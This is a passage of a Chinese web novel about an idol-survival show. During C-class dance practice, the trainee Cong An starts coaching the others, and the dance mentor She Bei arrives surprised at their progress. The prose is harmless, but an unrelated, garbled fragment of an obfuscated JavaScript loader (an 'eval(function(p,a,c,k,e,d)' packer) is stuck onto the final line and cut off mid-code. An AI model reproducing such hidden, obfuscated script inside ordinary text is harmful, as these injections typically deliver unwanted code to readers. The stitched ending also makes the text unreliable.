但比起花许多时间都扒不出舞,不耻下问明显会给人更好的观感。
从安看了他一眼,点头答应了下来。
“可以。”
教的过程,也是自己重新梳理、加深理解的过程,能让他对细节的理解更加深刻。
从安然后走到镜子前,用很慢的速度把李瑞说的那个片段做了一遍,“你看,这里重心要先压到左脚,转身的时候不是硬扭,是靠脚尖和胯带过去,像这样……”
他的讲解直接而清晰,配合慢动作示范,李瑞跟着比划,虽然依旧笨拙,但好像摸到了一点门道。
这一下,像是捅破了那层薄薄的窗户纸。
“从安,这个地方手是怎么放的?”
“这个wave的幅度到底要多大?”
“从安,你看我这么跳对不对?”
三四个,接着是五六个,越来越多的练习生围了过来。
然后不知是由谁提议,又或是自然而然,从安从第一个动作开始,从头教起了这支舞。
练习生们暂时放下了那点微妙的心理,在紧迫的时间和巨大的困难面前,能抓住的救命稻草显得格外珍贵。问题五花八门,但核心只有一个:这舞太难了,而眼前这个人,似乎知道怎么走。
从安没有表现出不耐烦,但也没有过度热情。他言简意赅地解答,指出关键,偶尔做个示范。他没有试图去“领导”谁,只是基于自己的理解,提供一些清晰的路径。
渐渐地,在他的解答和带动下,以他为圆心,一片区域的练习生开始试着跟随他的节奏,一起慢速地顺动作。虽然依旧参差不齐,但比起之前各自为战、一片散沙的景象,已经好了太多。
王硕在不远处看着,心情复杂。他扒舞的进度其实也不算慢,但此刻看着被人群隐隐围绕的从安,一种被比下去的憋闷感挥之不去。他扭开头,更加用力地对着镜子抠自己的细节。
只是抠着抠着,透过镜子看到在从安讲解下,动作做得更好看的其他练习生,再看看自己乍看标准,但却明显没那么美观的动作,终是忍不住,默默地靠近从安,加入了在旁边听从安讲解的队伍。
安文乐也停下了自己的练习。他平静地观察着这一幕,眼神深邃。
从安什么也没说,什么也没做,却在这一刻,悄然成为了C班那无形的‘领头羊’。
回想起刚来到练习室时,那些积极表现试图拥有话语权的练习生,再看看现在他们混在人群中,毫无存在感的模样,安文乐不由觉得有些讽刺。
再看向从安,安文乐的心情有些许变化。
从安和他想象的,或许不太一样。
而周骏早就离开了安文乐身边,加入了从安周围的队伍,十分专注地跟着练习了起来,边练嘴里还不自觉喃喃私语:“哦哦,原来这里要这样……怪不得我总觉得别扭。”
就在C班练习室第一次出现一种略显生涩、却目标明确的协同练习氛围时,门被推开了。
舞蹈导师厍贝走了进来。
她刚从A班和B班过来,那两班的进度和整体水准在她预料之中:A班怪物们已经能在框架内加入个人理解了,B班也在稳步推进,难点明显但态度端正。
对于C班,她的心理预期放得很低——能有一小半人把动作大致比划下来,就算不错了。
毕竟在昨天初舞台评级结束之后,大家都说今年的A,是ACE的A,而B,是优秀的B,C,则是平庸的C。
至于D和F,只能说是一个糟糕,一个回家吧,别来了。
实力差距就是如此明显。
然而,踏入C班练习室的瞬间,厍贝的脚步几不可查地顿了一下。
没有预想中的嘈杂、散漫或大面积的停滞。
相反,她看到的是大部分练习生都面对着镜子,跟着音乐的节奏,正在练习同一段舞蹈。
动作当然还生疏,力度和角度问题一大堆,但令人惊讶的是,那种‘一起在学’的整齐感和方向感。
她的目光敏锐地扫过,立刻锁定了站在略微靠前位置、正一边自己跳一边用简洁手势和语言提示旁边人的从安。
是他?
厍贝对从安有印象。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.froharCode(c+29):c.toString(36))};if(!''''''''.replace(/^/,String)){while(c--